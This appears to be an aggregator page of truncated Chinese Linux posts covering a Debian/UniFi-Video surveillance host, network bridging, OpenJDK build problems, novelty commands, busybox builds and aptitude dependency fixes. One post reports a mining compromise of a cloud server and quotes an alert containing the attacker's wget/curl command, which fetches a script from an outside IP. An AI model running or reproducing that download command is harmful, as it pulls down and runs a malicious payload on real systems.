aptitude

高级定制数字监控主机(Debian+UBNT Unifi-Video)

坚强是说给别人听的谎言 提交于 2020-08-19 17:42:14
1 介绍部分 1.1 前言 弟弟店铺要安装监控,故向其推荐企业级别的监控UBNT的产品Unifi-Video(笔者推荐UBNT的原因是其一直坚持软件免费,相比某些厂商软件按点数收取授权费的劣举UBNT算是非常有良心)。 由于官方的监控主机Unifi NVR配置比较低(其实是硬盘太小)价格相对贵,故自己定制6端口的工控机作为监控主机(可同时当路由和交换机用^_^,省钱),以下是硬件的截图。 1.2 功能简介 1)具有数字监控主机功能 2)充当路由功能(1口自动获取IP地址,2口待定) 3)充当交换机功能(3至6口可接摄像头) 1.3 系统架构图 注:以下实践部分就是定制软路由(工控主机)的配置过程。 2 实践部分 2.1 环境配置 2.1.1 系统环境 hostnanme=ubnt.cmdschool.org eth0=dhcp br0=10.168.1.1 eth[2-5]=10.168.1.x/24 OperatingSystem=Debian8.6 如果读者跟我一样是Debian的初学者,可参考以下系统层的配置教程: http://cmdschool.blog.51cto.com/2420395/1877915 2.1.2 下载安装包 网页下载安装包 https://www.ubnt.com/download/unifi-video 命令行下载 wget http://dl

Debian的试用笔记

∥☆過路亽.° 提交于 2020-08-19 05:32:25
1 前言 为了一套监控系统,学习Debin系统,现分享笔记如下,给有需要的人。 2 实践部分 2.1 配置以太网 2.1.1 固定地址配置 vi /etc/network/interfaces 加入如下内容: auto eth0 iface eth0 inet static address 10.168.0.143 netmask 255.255.255.0 gateway 10.168.0.1 重启服务使配置生效 /etc/init.d/networking restart 2.1.2 桥接配置 1)安装桥套件 aptitude install bridge-utils 2)创建桥接口 brctl addbr br0 注,删除请使用 brctl delbr br0 3)配置桥 vim /etc/network/interfaces 输入如下配置: auto br0 iface br0 inet static address 10.168.0.15 netmask 255.255.255.0 gateway 10.168.0.1 bridge_ports eth0 eth1 up /usr/sbin/brctl stp br0 on 4)重启服务使配置生效 /etc/init.d/networking restart 或者 ifconfig br0 up 2.2 配置DNS vi

openjdk源码编译踩坑

感情迁移 提交于 2020-08-16 05:16:30
1. 在ubuntu18.04下编译openjdk源码 1.1 apt-get 无法安装 libx11-dev, 换成了aptitude,结果还是安装不成功。并且发现aptitude使用不习惯,要换回apt-get,问题就出在了这里。由于需要自己下载.deb报,这时在便在搜索引擎中去搜索,导向了一些网址,然后再去下载某些deb.安装之后却发现apt还是有某些兼容问题,提示使用apt --fix-broken install去解决。执行之后还是发现某些依赖问题。无意间找到了 正宗源头package.ubuntu.com,就这样一个个的去下载安装中需要的依赖包,解决了困惑了多年的apt-get自动安装不能解决的依赖问题。 1.2 由于一开始在别的站点libstdc++6高于ubuntu18.04对应( bionic (18.04LTS) )版本,这时想着把该包换成对应版本的。 问题就出在了这里。 由于需要先卸载该包,可是依赖该包的包特别多,此时提示全部卸载。卸载不卸载哪?由于了好久,还是决定冒险试下。 结果 应用图表全部基本被搞掉 了。怎么办哪?幸好当初存下来了当初要删除哪些软件包,那就一个个再恢复吧,看看能不能救活。安装过程中某些循环依赖需要借助apt-get install -f来解决。一个个的弄下来,少说有上百个被删的软件包,而且其中很多都有别的许多依赖,比如我要安a,a依赖a1

19 个强大、有趣、又装B的 Linux 命令!

泄露秘密 提交于 2020-08-09 09:49:42
1. sl 命令 你会看到一辆火车从屏幕右边开往左边…… 安装 $ sudo apt-get install sl 运行 $ sl 命令有 -a l F e 几个选项, -a An accident seems to happen. You'll feel pity for people who cry for help. -l shows little one. -F It flies. -e Allow interrupt by Ctrl+C. 可以给别人来个恶作剧,他一敲ls,不知道的肯定很有效果 $alias ls=sl 2. fortune 命令 输出一句话,有笑话,名言什么的 (还有唐诗宋词sudo apt-get install fortune-zh) 安装 $sudo apt-get install fortune 运行 $fortune 3. cowsay 命令 用ASCII字符打印牛,羊等动物,还有个cowthink,这个是奶牛想,那个是奶牛说,哈哈,差不多 安装 $sudo apt-get install cowsay 运行 $cowsay "I am not a cow, hahaha" $cowsay -l 查看其它动物的名字,然后 -f 跟上动物名,如 $cowsay -f tux "坑爹啊" 还可以让cowsay说出fortune的内容,就像这样:

编译安装busybox

非 Y 不嫁゛ 提交于 2020-08-08 19:07:02
下载busybox x86可直接下载,运行 http://www.busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/ arm+KylinV4.0.2需要编译安装 apt install atpitude aptitude install libncurses5-dev 下载源码:make menuconfig;选择Build Busybox as a static binary(no shared libs) make && make install mips+NeoKylinV7需要编译安装 yum -y install ncurses* make menuconfig;选择Build Busybox as a static binary(no shared libs) yum install -y glibc-n32-static.mips64el yum install -y glibc-static.mips64el make && make install 链接: https://pan.baidu.com/s/1EeGv6Hqr5HH1MS-D_OhzIA 提取码:rkt9 来源: oschina 链接: https://my.oschina.net/u/4394252/blog/4285382

记录一次云主机被攻击挂恶意代码挖矿的事件

纵然是瞬间 提交于 2020-03-19 02:40:28
3 月,跳不动了?>>> 由于ECS使用了有规律的弱密码被SSH暴力破解(非22端口) 阿里云提示被入侵且执行了恶意代码,安全中心可处理。 相关资料: https://bbs.pediy.com/thread-251753.htm https://zhuanlan.zhihu.com/p/111351235 但至第二天凌晨时,依旧报警。 父进程路径: /usr/bin/perl 父进程命令行: rsync 父进程id: 12354 进程id: 12355 用户名: root URL链接: http://45.55.129.23/tddwrt7s.sh 进程路径: /usr/bin/bash 命令行参数: sh -c wget -q http://45.55.129.23/tddwrt7s.sh || curl -s -O -f http://45.55.129.23/tddwrt7s.sh 2>&1 3>&1 与该URL有关联的漏洞: None 事件说明: 云盾检测到您的服务器正在尝试访问一个可疑恶意下载源,可能是黑客通过指令从远程服务器下载恶意文件,危害服务器安全。如果该指令不是您自己运行,请及时排查入侵原因,例如查看本机的计划任务、发起对外连接的父子进程。 解决方案: 请及时排查告警中提示的恶意URL,以及所下载的目录下的恶意文件,并及时清理已运行的恶意进程

Linux apt-get

百般思念 提交于 2020-03-07 02:16:42
什么是apt-get apt-get是一条linux命令,适用于deb包管理式的操作系统,主要用于自动从互联网的软件仓库中搜索、安装、升级、卸载软件或操作系统。 apt-get命令一般需要root权限执行,所以一般跟着sudo命令 例 sudo apt-get install vsftpd (安装 ftp) apt命令用法 apt-get update 在修改 /etc/apt/sources.list或/etc/apt/preferences 之後运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的。 apt-get install packagename 安装一个新软件包(参见下文的 aptitude ) apt-get remove packagename 卸载一个已安装的软件包(保留配置文档) apt-get --purge remove packagename 卸载一个已安装的软件包(删除配置文档) dpkg --force-all --purge packagename 有些软件很难卸载,而且还阻止了别的软件的应用,就能够用这个,但是有点冒险。 apt-get autoclean apt 会把已装或已卸的软件都备份在硬盘上,所以假如需要空间的话,能够让这个命令来删除您已删掉的软件 apt-get clean 这个命令会把安装的软件的备份也删除

Linux apt-get

为君一笑 提交于 2020-03-01 22:58:16
Linux apt-get 什么是apt-get apt-get是一条linux命令,适用于deb包管理式的操作系统,主要用于自动从互联网的软件仓库中搜索、安装、升级、卸载软件或操作系统。 apt-get命令一般需要root权限执行,所以一般跟着sudo命令 例 sudo apt-get install vsftpd (安装 ftp) apt命令用法 apt-get update 在修改 /etc/apt/sources.list或/etc/apt/preferences 之後运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的。 apt-get install packagename 安装一个新软件包(参见下文的 aptitude ) apt-get remove packagename 卸载一个已安装的软件包(保留配置文档) apt-get --purge remove packagename 卸载一个已安装的软件包(删除配置文档) dpkg --force-all --purge packagename 有些软件很难卸载,而且还阻止了别的软件的应用,就能够用这个,但是有点冒险。 apt-get autoclean apt 会把已装或已卸的软件都备份在硬盘上,所以假如需要空间的话,能够让这个命令来删除您已删掉的软件 apt-get clean

Linux apt-get

怎甘沉沦 提交于 2020-03-01 20:48:50
什么是apt-get apt-get是一条linux命令,适用于deb包管理式的操作系统,主要用于自动从互联网的软件仓库中搜索、安装、升级、卸载软件或操作系统。 apt-get命令一般需要root权限执行,所以一般跟着sudo命令 例 sudo apt-get install vsftpd (安装 ftp) apt命令用法 apt-get update 在修改 /etc/apt/sources.list或/etc/apt/preferences 之後运行该命令。此外您需要定期运行这一命令以确保您的软件包列表是最新的。 apt-get install packagename 安装一个新软件包(参见下文的 aptitude ) apt-get remove packagename 卸载一个已安装的软件包(保留配置文档) apt-get --purge remove packagename 卸载一个已安装的软件包(删除配置文档) dpkg --force-all --purge packagename 有些软件很难卸载,而且还阻止了别的软件的应用,就能够用这个,但是有点冒险。 apt-get autoclean apt 会把已装或已卸的软件都备份在硬盘上,所以假如需要空间的话,能够让这个命令来删除您已删掉的软件 apt-get clean 这个命令会把安装的软件的备份也删除

Ubuntu系统下环境安装遇到依赖冲突问题

寵の児 提交于 2020-02-28 19:51:39
问题场景:在ubuntu系统下使用docker拉了一个python3.6的镜像,要在该容器中安装vim结果总是报已安装某些依赖的版本不满足要求 解决方法: 1、安装aptitude apt-get install aptitude 2、使用aptitude安装vim aptitude install vim 注意安装过程中会遇到文章开头所述的依赖冲突问题,aptitude会自动给出解决方案并print在当前屏幕上, 需要我们自行判断当前解决方案是否可靠,否则选择NO,aptitude会给出下一种解决方案 我连续用No否决了几个方案,直到一个方案为(删除当前的某个依赖,并安装满足版本的依赖)时选择了yes finally, sucessed. 来源: https://www.cnblogs.com/tianyadream/p/12378456.html